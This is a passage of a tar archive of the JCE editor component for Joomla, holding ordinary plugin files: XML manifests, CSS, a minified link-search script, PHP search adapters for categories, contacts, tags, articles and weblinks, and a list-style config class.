            <field name="enable" type="yesno" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="plugins" type="searchplugins" multiple="true" label="WF_PARAM_LINK_SEARCH_PLUGINS" description="WF_PARAM_LINK_SEARCH_PLUGINS_DESC" default="categories,contacts,content,weblinks,tags" layout="joomla.form.field.list-fancy-select" />
            <field name="remove_alias" type="yesno" default="0" label="WF_LINK_SEARCH_REMOVE_ALIAS" description="WF_LINK_SEARCH_REMOVE_ALIAS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="itemid" type="yesno" default="1" label="WF_LINK_SEARCH_ITEMID" description="WF_LINK_SEARCH_ITEMID_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
    <plugins>link</plugins>
    <media></media>
    <languages></languages>
</extension>
com_jce/editor/extensions/search/css/link.css000060400000003063152453734450015346 0ustar00#search-browser,#searchbox{position:relative}#search-browser button{padding:0 .5em}#search-browser button .uk-icon{margin:auto}#searchbox{z-index:1}div#search-browser input[type=checkbox],div#search-browser input[type=radio]{vertical-align:middle}.phrases-box input[type=radio]{margin:-3px 5px 0 0}#searchbox input{border-top-right-radius:0;border-bottom-right-radius:0;margin:0}#searchbox+div{margin-left:-1px;padding:0}#search-button{border-top-left-radius:0;border-bottom-left-radius:0}#search-clear{display:none}#search-clear.uk-active{display:block}#search-browser .uk-icon-spinner{display:none;right:0}#search-browser.loading .uk-icon-spinner{display:block;opacity:1}#search-result{width:100%;height:100%;position:absolute;display:none;overflow:auto;overflow-x:hidden;margin:2px 0}#search-result dl{margin:5px 0;padding:10px}#search-result dl dt{cursor:pointer;font-weight:700;text-overflow:ellipsis;overflow:hidden;white-space:pre;text-decoration:underline}div#search-browser div#search-result dl.odd{background-color:#F5F5F5}div#search-browser div#search-result dl dd.anchor{line-height:32px;cursor:pointer}div#search-browser #search-options{width:100%;padding:5px;margin:2px 0 0}div#search-browser #search-options fieldset{margin:0;padding:0}div#search-browser #search-options fieldset>div{margin:5px 0}div#search-browser #search-options label{min-width:40px}#search-options-button{line-height:1}#search-options .search_only ul{list-style:none;padding:0;margin:0}#search-options .search_only ul li{display:inline-block}@media (max-width:375px){#search-button span{display:none}}com_jce/editor/extensions/search/css/index.html000060400000000054152453734450015671 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/search/js/index.html000060400000000054152453734450015515 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/search/js/link.js000060400000005363152453734450015023 0ustar00/* jce - 2.9.20 | 2022-02-10 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2022 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
var WFLinkSearch=WFExtensions.add("LinkSearch",{options:{element:"#search-input",button:"#search-button",clear:"#search-clear",empty:"No Results",onClick:$.noop},init:function(options){$.extend(this.options,options);var self=this,el=this.options.element,btn=this.options.button;$(btn).on("click",function(e){self.search(),e.preventDefault()}).button({icons:{primary:"uk-icon-search"}}),$("#search-clear").on("click",function(e){$(this).hasClass("uk-active")&&($(this).removeClass("uk-active"),$(el).val(""),$("#search-result").empty().hide())}),$("#search-options-button").on("click",function(e){e.preventDefault(),$(this).addClass("uk-active");var $p=$("#search-options").parent();$("#search-options").height($p.parent().height()-$p.outerHeight()-15).toggle()}).on("close",function(){$(this).removeClass("uk-active"),$("#search-options").hide()}),$(el).on("change keyup",function(){""===this.value&&($("#search-result").empty().hide(),$("#search-clear").removeClass("uk-active"))})},search:function(){var self=this,s=this.options,el=s.element,$p=(s.button,$("#search-result").parent()),query=$(el).val();query&&!$(el).hasClass("placeholder")&&($("#search-clear").removeClass("uk-active"),$("#search-browser").addClass("loading"),query=$.trim(query.replace(/[\///<>#]/g,"")),Wf.JSON.request("doSearch",{json:[query]},function(results){if(results){if(results.error)return void Wf.Dialog.alert(results.error);$("#search-result").empty(),results.length?($.each(results,function(i,values){console.log(values),$.each(values,function(name,items){$("<h3>"+name+"</h3>").appendTo("#search-result"),$.each(items,function(i,item){var $dl=$('<dl class="uk-margin-small" />').appendTo("#search-result");$('<dt class="link uk-margin-small" />').text(item.title).on("click",function(){$.isFunction(self.options.onClick)&&self.options.onClick.call(this,Wf.String.decode(item.link))}).prepend('<i class="uk-icon uk-icon-file-text-o uk-margin-small-right" />').appendTo($dl),$('<dd class="text">'+item.text+"</dd>").appendTo($dl),item.anchors&&$.each(item.anchors,function(i,a){$('<dd class="anchor"><i role="presentation" class="uk-icon uk-icon-anchor uk-margin-small-right"></i>#'+a+"</dd>").on("click",function(){self.options.onClick.call(this,Wf.String.decode(item.link)+"#"+a)}).appendTo($dl)})})})}),$("dl:odd","#search-result").addClass("odd")):$("#search-result").append("<p>"+s.empty+"</p>"),$("#search-options-button").trigger("close"),$("#search-result").height($p.parent().height()-$p.outerHeight()-5).show()}$("#search-browser").removeClass("loading"),$("#search-clear").addClass("uk-active")},self))}});com_jce/editor/extensions/search/adapter/categories/index.html000060400000000054152453734450020646 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/search/adapter/categories/categories.php000060400000010361152453734450021511 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\RouteHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Categories search plugin.
 *
 * @since  1.6
 */
class PlgWfSearchCategories extends CMSPlugin
{
    /**
     * Load the language file on instantiation.
     *
     * @var    boolean
     * @since  3.1
     */
    protected $autoloadLanguage = true;

    /**
     * Determine areas searchable by this plugin.
     *
     * @return  array  An array of search areas.
     *
     * @since   1.6
     */
    public function onContentSearchAreas()
    {
        static $areas = array(
            'categories' => 'PLG_SEARCH_CATEGORIES_CATEGORIES',
        );

        return $areas;
    }

    /**
     * Search content (categories).
     *
     * The SQL must return the following fields that are used in a common display
     * routine: href, title, section, created, text, browsernav.
     *
     * @param   string  $text      Target search string.
     * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
     * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
     * @param   mixed   $areas     An array if the search is to be restricted to areas or null to search all areas.
     *
     * @return  array  Search results.
     *
     * @since   1.6
     */
    public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
    {
        $db = Factory::getDbo();
        $user = Factory::getUser();
        $app = Factory::getApplication();
        $groups = implode(',', $user->getAuthorisedViewLevels());
        $searchText = $text;

        if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas()))) {
            return array();
        }

        $limit = $this->params->def('search_limit', 50);
        $text = trim($text);

        if ($text === '') {
            return array();
        }

        switch ($ordering) {
            case 'alpha':
                $order = 'a.title ASC';
                break;

            case 'category':
            case 'popular':
            case 'newest':
            case 'oldest':
            default:
                $order = 'a.title DESC';
        }

        $text = $db->quote('%' . $db->escape($text, true) . '%', false);
        $query = $db->getQuery(true);

        // SQLSRV changes.
        $case_when = ' CASE WHEN ';
        $case_when .= $query->charLength('a.alias', '!=', '0');
        $case_when .= ' THEN ';

        // Joomla 3 compatibility
        if (method_exists($query, 'castAsChar')) {
            $a_id = $query->castAsChar('a.id');
        } else {
            $a_id = $query->castAs('CHAR', 'a.id');
        }
        
        $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
        $case_when .= ' ELSE ';
        $case_when .= $a_id . ' END as slug';

        $query->select('a.title, a.description AS text, a.id AS catid, a.created_time, a.language, ' . $case_when);
        $query->from('#__categories AS a');
        $query->where(
            '(a.title LIKE ' . $text . ' OR a.description LIKE ' . $text . ') AND a.published = 1 AND a.extension = '
            . $db->quote('com_content') . 'AND a.access IN (' . $groups . ')'
        );

        $query->group('a.id, a.title, a.description, a.alias, a.created_time');
        $query->order($order);

        $db->setQuery($query, 0, $limit);

        try
        {
            $rows = $db->loadObjectList();
        } catch (RuntimeException $e) {
            Factory::getApplication()->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
        }

        if ($rows) {
            foreach ($rows as $i => $row) {
                $rows[$i]->href = RouteHelper::getCategoryRoute($row->slug, $row->language, 'com_content');
                $rows[$i]->section = Text::_('JCATEGORY');
            }
        }

        return $rows;
    }
}
com_jce/editor/extensions/search/adapter/contacts/index.html000060400000000054152453734450020337 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/search/adapter/contacts/contacts.php000060400000013007152453734450020673 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\RouteHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Contacts search plugin.
 */
class PlgWfSearchContacts extends CMSPlugin
{
    /**
     * Load the language file on instantiation.
     *
     * @var    boolean
     */
    protected $autoloadLanguage = true;

    /**
     * Determine areas searchable by this plugin.
     *
     * @return  array  An array of search areas.
     */
    public function onContentSearchAreas()
    {
        static $areas = array(
            'contacts' => 'PLG_SEARCH_CONTACTS_CONTACTS',
        );

        return $areas;
    }

    /**
     * Search content (contacts).
     *
     * The SQL must return the following fields that are used in a common display
     * routine: href, title, section, created, text, browsernav.
     *
     * @param   string  $text      Target search string.
     * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
     * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
     * @param   string  $areas     An array if the search is to be restricted to areas or null to search all areas.
     *
     * @return  array  Search results.
     */
    public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
    {
        $db = Factory::getDbo();
        $app = Factory::getApplication();
        $user = Factory::getUser();
        $groups = implode(',', $user->getAuthorisedViewLevels());

        // create a new RouteHelper instance
        $router = new RouteHelper();

        if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas()))) {
            return array();
        }

        $limit = $this->params->def('search_limit', 50);

        $text = trim($text);

        if ($text === '') {
            return array();
        }

        $section = Text::_('PLG_SEARCH_CONTACTS_CONTACTS');

        switch ($ordering) {
            case 'alpha':
                $order = 'a.name ASC';
                break;

            case 'category':
                $order = 'c.title ASC, a.name ASC';
                break;

            case 'popular':
            case 'newest':
            case 'oldest':
            default:
                $order = 'a.name DESC';
        }

        $text = $db->quote('%' . $db->escape($text, true) . '%', false);

        $query = $db->getQuery(true);

        // SQLSRV changes.
        $case_when = ' CASE WHEN ';
        $case_when .= $query->charLength('a.alias', '!=', '0');
        $case_when .= ' THEN ';

        if (method_exists($query, 'castAsChar')) {
            $a_id = $query->castAsChar('a.id');
        } else {
            $a_id = $query->castAs('CHAR', 'a.id');
        }

        $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
        $case_when .= ' ELSE ';
        $case_when .= $a_id . ' END as slug';

        $case_when1 = ' CASE WHEN ';
        $case_when1 .= $query->charLength('c.alias', '!=', '0');
        $case_when1 .= ' THEN ';

        if (method_exists($query, 'castAsChar')) {
            $c_id = $query->castAsChar('c.id');
        } else {
            $c_id = $query->castAs('CHAR', 'c.id');
        }

        $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
        $case_when1 .= ' ELSE ';
        $case_when1 .= $c_id . ' END as catslug';

        $query->select(
            'a.name AS title, a.con_position, a.misc, a.language, '
            . $case_when . ',' . $case_when1 . ', '
            . $query->concatenate(array('a.name', 'a.con_position', 'a.misc'), ',') . ' AS text'
        );
        $query->from('#__contact_details AS a')
            ->join('INNER', '#__categories AS c ON c.id = a.catid')
            ->where(
                '(a.name LIKE ' . $text . ' OR a.misc LIKE ' . $text . ' OR a.con_position LIKE ' . $text
                . ' OR a.address LIKE ' . $text . ' OR a.suburb LIKE ' . $text . ' OR a.state LIKE ' . $text
                . ' OR a.country LIKE ' . $text . ' OR a.postcode LIKE ' . $text . ' OR a.telephone LIKE ' . $text
                . ' OR a.fax LIKE ' . $text . ') AND a.published = 1 AND c.published = 1 '
                . ' AND a.access IN (' . $groups . ') AND c.access IN (' . $groups . ')'
            )
            ->order($order);

        $db->setQuery($query, 0, $limit);

        try
        {
            $rows = $db->loadObjectList();
        } catch (RuntimeException $e) {
            $rows = array();
            Factory::getApplication()->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
        }

        if ($rows) {
            // create a new RouteHelper instance
            $router = new RouteHelper();

            foreach ($rows as $key => $row) {
                $rows[$key]->href = $router->getRoute($row->slug, 'com_contact.contact', '', $row->language, $row->catslug);
                $rows[$key]->text = $row->title;
                $rows[$key]->text .= $row->con_position ? ', ' . $row->con_position : '';
                $rows[$key]->text .= $row->misc ? ', ' . $row->misc : '';

                $rows[$key]->section = $section;
            }
        }

        return $rows;
    }
}
com_jce/editor/extensions/search/adapter/index.html000060400000000054152453734450016521 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/search/adapter/tags/tags.php000060400000011416152453734450017135 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\RouteHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Tags search plugin.
 *
 */
class PlgWfSearchTags extends CMSPlugin
{
    /**
     * Load the language file on instantiation.
     *
     * @var    boolean
     */
    protected $autoloadLanguage = true;

    /**
     * Determine areas searchable by this plugin.
     *
     * @return  array  An array of search areas.
     *
     */
    public function onContentSearchAreas()
    {
        static $areas = array(
            'tags' => 'PLG_SEARCH_TAGS_TAGS',
        );

        return $areas;
    }

    /**
     * Search content (tags).
     *
     * The SQL must return the following fields that are used in a common display
     * routine: href, title, section, created, text, browsernav.
     *
     * @param   string  $text      Target search string.
     * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
     * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
     * @param   string  $areas     An array if the search is to be restricted to areas or null to search all areas.
     *
     * @return  array  Search results.
     *
     * @since   3.3
     */
    public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
    {
        $db = Factory::getDbo();
        $query = $db->getQuery(true);
        $app = Factory::getApplication();
        $user = Factory::getUser();
        $lang = Factory::getLanguage();

        $section = Text::_('PLG_SEARCH_TAGS_TAGS');
        $limit = $this->params->def('search_limit', 50);

        if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas()))) {
            return array();
        }

        $text = trim($text);

        if ($text === '') {
            return array();
        }

        $text = $db->quote('%' . $db->escape($text, true) . '%', false);

        switch ($ordering) {
            case 'alpha':
                $order = 'a.title ASC';
                break;

            case 'newest':
                $order = 'a.created_time DESC';
                break;

            case 'oldest':
                $order = 'a.created_time ASC';
                break;

            case 'popular':
            default:
                $order = 'a.title DESC';
        }

        $query->select('a.id, a.title, a.alias, a.note, a.published, a.access'
            . ', a.checked_out, a.checked_out_time, a.created_user_id'
            . ', a.path, a.parent_id, a.level, a.lft, a.rgt'
            . ', a.language, a.created_time AS created, a.description');

        $case_when_item_alias = ' CASE WHEN ';
        $case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
        $case_when_item_alias .= ' THEN ';

        // Joomla 3 compatibility
        if (method_exists($query, 'castAsChar')) {
            $a_id = $query->castAsChar('a.id');
        } else {
            $a_id = $query->castAs('CHAR', 'a.id');
        }

        $case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
        $case_when_item_alias .= ' ELSE ';
        $case_when_item_alias .= $a_id . ' END as slug';
        $query->select($case_when_item_alias);

        $query->from('#__tags AS a');
        $query->where('a.alias <> ' . $db->quote('root'));

        $query->where('(a.title LIKE ' . $text . ' OR a.alias LIKE ' . $text . ')');

        $query->where($db->qn('a.published') . ' = 1');

        if (!$user->authorise('core.admin')) {
            $groups = implode(',', $user->getAuthorisedViewLevels());
            $query->where('a.access IN (' . $groups . ')');
        }

        $query->order($order);

        $db->setQuery($query, 0, $limit);

        try {
            $rows = $db->loadObjectList();
        } catch (RuntimeException $e) {
            $rows = array();
            Factory::getApplication()->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
        }

        if ($rows) {
            // create a new RouteHelper instance
            $router = new RouteHelper();

            foreach ($rows as $key => $row) {
                $rows[$key]->href = $router->getRoute($row->slug, 'com_tags.tag', '', $row->language);
                $rows[$key]->text = ($row->description !== '' ? $row->description : $row->title);
                $rows[$key]->text .= $row->note;
            }
        }

        return $rows;
    }
}
com_jce/editor/extensions/search/adapter/tags/index.html000060400000000054152453734450017457 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/search/adapter/content/content.php000060400000015646152453734450020376 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\RouteHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Content search plugin.
 *
 */
class PlgWfSearchContent extends CMSPlugin
{
    /**
     * Determine areas searchable by this plugin.
     *
     * @return  array  An array of search areas.
     *
     */
    public function onContentSearchAreas()
    {
        static $areas = array(
            'content' => 'JGLOBAL_ARTICLES',
        );

        return $areas;
    }

    /**
     * Search content (articles).
     * The SQL must return the following fields that are used in a common display
     * routine: href, title, section, created, text, browsernav.
     *
     * @param   string  $text      Target search string.
     * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
     * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
     * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
     *
     * @return  array  Search results.
     *
     */
    public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
    {
        $db = Factory::getDbo();
        $serverType = $db->getServerType();
        $app = Factory::getApplication();
        $user = Factory::getUser();
        $groups = implode(',', $user->getAuthorisedViewLevels());
        $tag = Factory::getLanguage()->getTag();

        $searchText = $text;

        if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas()))) {
            return array();
        }

        $limit = $this->params->def('search_limit', 50);

        $nullDate = $db->getNullDate();
        $date = Factory::getDate();
        $now = $date->toSql();

        $text = trim($text);

        if ($text === '') {
            return array();
        }

        $relevance = array();

        switch ($phrase) {
            case 'exact':
                $text = $db->quote('%' . $db->escape($text, true) . '%', false);
                $wheres2 = array();
                $wheres2[] = 'a.title LIKE ' . $text;
                $wheres2[] = 'a.introtext LIKE ' . $text;
                $wheres2[] = 'a.fulltext LIKE ' . $text;

                $relevance[] = ' CASE WHEN ' . $wheres2[0] . ' THEN 5 ELSE 0 END ';

                $where = '(' . implode(') OR (', $wheres2) . ')';
                break;

            case 'all':
            case 'any':
            default:
                $words = explode(' ', $text);
                $wheres = array();

                foreach ($words as $word) {
                    $word = $db->quote('%' . $db->escape($word, true) . '%', false);
                    $wheres2 = array();
                    $wheres2[] = 'LOWER(a.title) LIKE LOWER(' . $word . ')';
                    $wheres2[] = 'LOWER(a.introtext) LIKE LOWER(' . $word . ')';
                    $wheres2[] = 'LOWER(a.fulltext) LIKE LOWER(' . $word . ')';

                    $relevance[] = ' CASE WHEN ' . $wheres2[0] . ' THEN 5 ELSE 0 END ';

                    $wheres[] = implode(' OR ', $wheres2);
                }

                $where = '(' . implode(($phrase === 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
                break;
        }

        switch ($ordering) {
            case 'oldest':
                $order = 'a.created ASC';
                break;

            case 'popular':
                $order = 'a.hits DESC';
                break;

            case 'alpha':
                $order = 'a.title ASC';
                break;

            case 'category':
                $order = 'c.title ASC, a.title ASC';
                break;

            case 'newest':
            default:
                $order = 'a.created DESC';
                break;
        }

        $rows = array();
        $query = $db->getQuery(true);

        // Search articles.
        if ($limit > 0) {
            //sqlsrv changes
            $case_when1 = ' CASE WHEN ';
            $case_when1 .= $query->charLength('a.alias', '!=', '0');
            $case_when1 .= ' THEN ';

            // Joomla 3 compatibility
            if (method_exists($query, 'castAsChar')) {
                $a_id = $query->castAsChar('a.id');
            } else {
                $a_id = $query->castAs('CHAR', 'a.id');
            }

            $case_when1 .= $query->concatenate(array($a_id, 'a.alias'), ':');
            $case_when1 .= ' ELSE ';
            $case_when1 .= $a_id . ' END as slug';

            $case_when2 = ' CASE WHEN ';
            $case_when2 .= $query->charLength('b.alias', '!=', '0');
            $case_when2 .= ' THEN ';
            
            // Joomla 3 compatibility
            if (method_exists($query, 'castAsChar')) {
                $c_id = $query->castAsChar('b.id');
            } else {
                $c_id = $query->castAs('CHAR', 'b.id');
            }

            $case_when2 .= $query->concatenate(array($c_id, 'b.alias'), ':');
            $case_when2 .= ' ELSE ';
            $case_when2 .= $c_id . ' END as catslug';

            $case = ',' . $case_when1 . ',' . $case_when2;

            if (!empty($relevance)) {
                $query->select(implode(' + ', $relevance) . ' AS relevance');
                $order = ' relevance DESC, ' . $order;
            }

            $query->select('a.id AS slug, b.id AS catslug, a.alias, a.state, a.title AS title, a.access, ' . $query->concatenate(array('a.introtext', 'a.fulltext')) . ' AS text, a.language' . $case);
            $query->from('#__content AS a');
            $query->innerJoin('#__categories AS b ON b.id = a.catid');
            $query->where('(' . $where . ') AND a.state = 1 AND b.published = 1');

            if (!$user->authorise('core.admin')) {
                $query->where('a.access IN (' . $groups . ')');
                $query->where('b.access IN (' . $groups . ')');
            }

            $query->order($order);

            $db->setQuery($query, 0, $limit);

            try
            {
                $rows = $db->loadObjectList();
            } catch (RuntimeException $e) {
                $rows = array();
                Factory::getApplication()->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
            }

            if ($rows) {
                // create a new RouteHelper instance
                $router = new RouteHelper();

                foreach ($rows as $key => $row) {
                    $rows[$key]->href = $router->getRoute($row->slug, 'com_content.article', '', $row->language, $row->catslug);
                }
            }
        }

        return $rows;
    }
}
com_jce/editor/extensions/search/adapter/content/index.html000060400000000054152453734450020173 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/search/adapter/weblinks/weblinks.php000060400000013142152453734450020673 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

require_once JPATH_SITE . '/components/com_weblinks/helpers/route.php';

/**
 * Weblinks search plugin.
 *
 */
class PlgWfSearchWeblinks extends CMSPlugin
{
    /**
     * Load the language file on instantiation.
     *
     * @var    boolean
     */
    protected $autoloadLanguage = true;

    /**
     * Determine areas searchable by this plugin.
     *
     * @return  array  An array of search areas.
     *
     */
    public function onContentSearchAreas()
    {
        static $areas = array(
            'weblinks' => 'PLG_SEARCH_WEBLINKS_WEBLINKS',
        );

        return $areas;
    }

    /**
     * Search content (weblinks).
     *
     * The SQL must return the following fields that are used in a common display
     * routine: href, title, section, created, text, browsernav
     *
     * @param   string  $text      Target search string.
     * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
     * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
     * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
     *
     * @return  array  Search results.
     *
     * @since   1.6
     */
    public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
    {
        $db = Factory::getDbo();
        $groups = implode(',', Factory::getUser()->getAuthorisedViewLevels());

        $searchText = $text;

        if (is_array($areas)) {
            if (!array_intersect($areas, array_keys($this->onContentSearchAreas()))) {
                return array();
            }
        }

        $limit = $this->params->def('search_limit', 50);
        $state = array();

        $text = trim($text);

        if ($text == '') {
            return array();
        }

        switch ($phrase) {
            case 'exact':
                $text = $db->quote('%' . $db->escape($text, true) . '%', false);
                $wheres2 = array();
                $wheres2[] = 'a.url LIKE ' . $text;
                $wheres2[] = 'a.description LIKE ' . $text;
                $wheres2[] = 'a.title LIKE ' . $text;
                $where = '(' . implode(') OR (', $wheres2) . ')';
                break;

            case 'all':
            case 'any':
            default:
                $words = explode(' ', $text);
                $wheres = array();

                foreach ($words as $word) {
                    $word = $db->quote('%' . $db->escape($word, true) . '%', false);
                    $wheres2 = array();
                    $wheres2[] = 'a.url LIKE ' . $word;
                    $wheres2[] = 'a.description LIKE ' . $word;
                    $wheres2[] = 'a.title LIKE ' . $word;
                    $wheres[] = implode(' OR ', $wheres2);
                }

                $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
                break;
        }

        switch ($ordering) {
            case 'oldest':
                $order = 'a.created ASC';
                break;

            case 'popular':
                $order = 'a.hits DESC';
                break;

            case 'alpha':
                $order = 'a.title ASC';
                break;

            case 'category':
                $order = 'c.title ASC, a.title ASC';
                break;

            case 'newest':
            default:
                $order = 'a.created DESC';
        }

        $query = $db->getQuery(true);

        // SQLSRV changes.
        $case_when = ' CASE WHEN ';
        $case_when .= $query->charLength('a.alias', '!=', '0');
        $case_when .= ' THEN ';

        // Joomla 3 compatibility
        if (method_exists($query, 'castAsChar')) {
            $a_id = $query->castAsChar('a.id');
        } else {
            $a_id = $query->castAs('CHAR', 'a.id');
        }

        $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
        $case_when .= ' ELSE ';
        $case_when .= $a_id . ' END as slug';

        $case_when1 = ' CASE WHEN ';
        $case_when1 .= $query->charLength('c.alias', '!=', '0');
        $case_when1 .= ' THEN ';

        // Joomla 3 compatibility
        if (method_exists($query, 'castAsChar')) {
            $c_id = $query->castAsChar('c.id');
        } else {
            $c_id = $query->castAs('CHAR', 'c.id');
        }

        $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
        $case_when1 .= ' ELSE ';
        $case_when1 .= $c_id . ' END as catslug';

        $query->select('a.title AS title, a.created AS created, a.url, a.description AS text, a.language, ' . $case_when . "," . $case_when1)
            ->from('#__weblinks AS a')
            ->join('INNER', '#__categories as c ON c.id = a.catid')
            ->where('(' . $where . ') AND a.state = 1 AND c.published = 1 AND c.access IN (' . $groups . ')')
            ->order($order);

        $db->setQuery($query, 0, $limit);
        $rows = $db->loadObjectList();

        if ($rows) {
            foreach ($rows as $key => $row) {
                $rows[$key]->href = WeblinksHelperRoute::getWeblinkRoute($row->slug, $row->catslug, $row->language);
            }
        }

        return $rows;
    }
}
com_jce/editor/extensions/search/adapter/weblinks/index.html000060400000000054152453734450020337 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/index.html000060400000000054152453734450013634 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/advlist/config.php000060400000003241152453734450014546 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFAdvlistPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFApplication::getInstance();
        
        $bullet = self::getBulletList();
        $settings['advlist_bullist_styles'] = $bullet !== false ? implode(',', $bullet) : false;

        $number = self::getNumberList();
        $settings['advlist_number_styles'] = $number !== false ? implode(',', $number) : false;

        $settings['advlist_bullist_classes'] = $wf->getParam('lists.bullet_classes', '');
        $settings['advlist_numlist_classes'] = $wf->getParam('lists.numlist_classes', '');

        $settings['advlist_bullist_custom_classes'] = $wf->getParam('lists.bullet_custom_classes', []);
        $settings['advlist_numlist_custom_classes'] = $wf->getParam('lists.numlist_custom_classes', []);
    }

    private static function getNumberList()
    {
        $wf = WFApplication::getInstance();
        $number = (array) $wf->getParam('lists.number_styles');

        if (empty($number) || (count($number) === 1 && array_shift($number) === 'default')) {
            return false;
        }

        return $number;
    }

    private static function getBulletList()
    {
        $wf = WFApplication::getInstance();
        $bullet = (array) $wf->getParam('lists.bullet_styles');

        if (empty($bullet) || (count($bullet) === 1 && array_shift($bullet) === 'default')) {
            return false;
        }

        return $bullet;
    }
}
com_jce/editor/plugins/advlist/index.html000060400000000054152453734450014564 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/cleanup/index.html000060400000000054152453734450014545 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/cleanup/cleanup.xml000060400000001150152453734450014717 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_CLEANUP_TITLE</name>
